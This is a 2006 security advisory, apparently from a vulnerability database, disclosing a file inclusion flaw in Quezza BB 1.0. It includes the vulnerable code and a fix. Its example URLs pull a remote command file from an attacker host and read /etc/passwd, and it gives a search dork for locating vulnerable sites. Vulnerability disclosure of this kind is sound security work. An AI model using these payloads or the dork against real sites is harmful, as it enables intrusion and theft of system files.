Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.

Advisory Text :

--Security Report--
Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 17/05/06 05:37 AM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx (at) nukedx (dot) com [email concealed]
Web: http://www.nukedx.com
}
---
Vendor: Quezza (http://www.quezza.com/)
Version: 1.0 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to
Quezza.quezza_root_path variable in class_template.php
did not sanitized before using it.You can find vulnerable code in
class_template.php at line 21
-Source in class_template.php-
21: include($quezza_root_path . 'includes/template.' . $phpEx);
-End of source-
Fixing this vulnerability so easy turn off register_globals and add
this code to source before line 21
if ( !defined('IN_QUEZZA') )
{
die('Hacking attempt');
}
Level: Highly Critical
---
How&Example:
Succesful exploitation needs allow_url_fopen set to 1 and register_globals
on
GET ->
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_pat
h=[FILE]
EXAMPLE ->
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_pat
h=http://yourhost.com/cmd.txt?
If magic_quotes_gpc off remote attacker can include local files too
EXAMPLE ->
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_pat
h=/etc/passwd%00
---
Timeline:
* 17/05/2006: Vulnerability found.
* 17/05/2006: Contacted with vendor and waiting reply.
---
Exploit:
Click here and get exploit for this advisory
---
Dorks: "Powered by Quezza"

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.